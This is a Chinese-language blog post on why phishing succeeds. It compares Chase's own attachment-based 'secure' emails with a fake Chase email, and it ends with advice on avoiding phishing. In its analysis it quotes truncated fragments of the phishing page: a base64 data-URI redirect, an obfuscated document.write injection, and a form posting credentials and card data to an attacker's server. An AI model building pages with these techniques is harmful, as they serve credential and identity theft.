钓鱼攻击总能成功的原因？

当我第一次收到银行发来的“安全”邮件时，我第一反应就是这里是否有诈？因为在我看来，它实在是太像钓鱼邮件了。这封躺在收件箱里的邮件来源于我银行经理的个人邮箱地址，而非Chase银行的官方邮箱。邮件中不仅附带有一个HTML页面，而且还有文字告诉我“在浏览器中打开这个页面以了解如何进行下一步操作”，这一切瞬间让我提高了警惕。

首先，本身电子邮件这个东西就是不安全的，更何况是我的银行还发送了一封带有附件的“安全”邮件给我。这看起来就像是一次教科书般的钓鱼攻击，所以我赶紧拿起电话直接打给了我的银行经理。

“不是的，这是合法邮件。我需要你将它打印出来，然后签署一些文件。”这就是银行经理给我的回答。

但我说到：“首先，邮件发送人的地址看起来就非常可疑，而且这种邮件不仅要让我点击外部链接并打开附件，而且还要我在Web表单中填写我的个人信息，这谁会信啊？”

银行经理说到：“我完全理解，这确实会让人怀疑。但这封邮件没有任何问题，我的确发过这封邮件给你，如果需要的话我还可以再发一次。”

于是乎，他果然又发了一封给我。这封重发的邮件看起来与之前那封完全一样，但这一次我正在与我的银行经理通话，所以我按照要求打开了附件。邮件中有一个“点击读取信息”的按钮，点击之后将我重定向到了Chase银行的安全邮件门户网站。但是整个过程让我感到非常的奇葩，我也将我担心的地方告诉了我的银行经理、他的上司、以及Chase的客户支持部门。

值得一提的是，我们是不可能完完全全地对客户的行为进行安全培训的，而银行所采用的交互方式与钓鱼攻击几乎没有区别，这就非常危险了。

近期，我收到了一封真正的钓鱼邮件。这封邮件来自chase.online@chasee.com，它很明显是封伪造的邮件，但如果不仔细的话还是看不出什么端倪的。这封邮件声称我的银行账号近期出现了很多错误操作，并且跟之前那封真实的邮件一样，它也让我在浏览器中打开附件HTML文件并按提示进行操作。

但很明显我不会按它说的做！于是，我把HTML文件下载了下来，然后把它拖到了代码审查窗口中。我发现，除了正常的HTML代码之外，文件中还包含一段脚本代码：

window.location="data:text/html;base64,PCFET0NUWVBFIEhUTUwg...

这个页面会在地址栏中显示一大堆Base64编码的数据，代码本身包含有Chase银行官网的脚本、图片以及指向合法页面的链接，整个页面看起来和正常的Chase银行登录页面没什么区别。但是，代码中还包含有其他的脚本代码（经过混淆），这些代码会在登录页面中添加一个自定义的表单：

document.write(unescape('%3C%66%6F%72...

在对代码进行了反混淆之后，我发现所有的代码都与Chase银行的真实登录页面一致，只不过表单action属性指向的是攻击者所控制的服务器。

<form action="http://191..."class="button" method="post" name="submit"id="submit">

如果不知情的用户真的在浏览器中打开了这个页面，那么他们将会看到一个带有Chase商标的页面让他们确认以下信息：
1.    账号登录信息
2.    联系信息
3.    银行卡信息
4.    社保号和驾驶证信息等等
上述所有的这些信息都不会提交给Chase，而是提交给了攻击者自己的服务器。这台由攻击者控制的服务器在成功获取到了这些数据之后，会将用户重定向到Chase的在线登录页面，所以这会让用户完全无法察觉到异常。我认为，之所以用户会这样做，完全是因为Chase平时对用户的“训练”所导致的（通过邮件附件要求用户提供身份验证信息）。

除非Chase银行不再通过这种带有附件HTML的邮件来要求用户登录并填写自己的信息，否则广大Chase银行的客户还是免不了遭受钓鱼攻击。但是，我们仍然有很多方法可以避免自己落入这种网络钓鱼陷阱之中。

首先，千万不要直接打开邮件中的附件网页，除非你能够百分之百确定这封邮件没有任何问题。其次，永远不要轻易在任何网页中填写自己的个人信息。第三，如果邮件要求你提供个人信息，而你也不得不这样做的话，请直接访问在线服务的官方网站去填写，千万不要图方便直接点击邮件中的地址。这些方法同样适用于电话钓鱼。永远不要轻易在电话中给出自己的个人信息，除非那个电话是你打过去的。

最后，请你不要嫌麻烦，一定要将所有不正常的情况上报给自己的服务商。当你遇到了勒索邮件或有人尝试通过电话来窃取你的信息时，请一定要即使报告。

实际上，如果想要保护用户不受网路钓鱼攻击的侵害，仅仅依靠提高用户安全意识还是远远不够的，这个过程中厂商也要负起一定的责任。所谓心中无鬼，天下无鬼。很多厂商知道这封邮件是他们自己发的，就不会太在意去证明邮件的安全性与合法性，但对于用户来说，当他们习惯了这样的交互方式时，也就给了钓鱼攻击者可乘之机。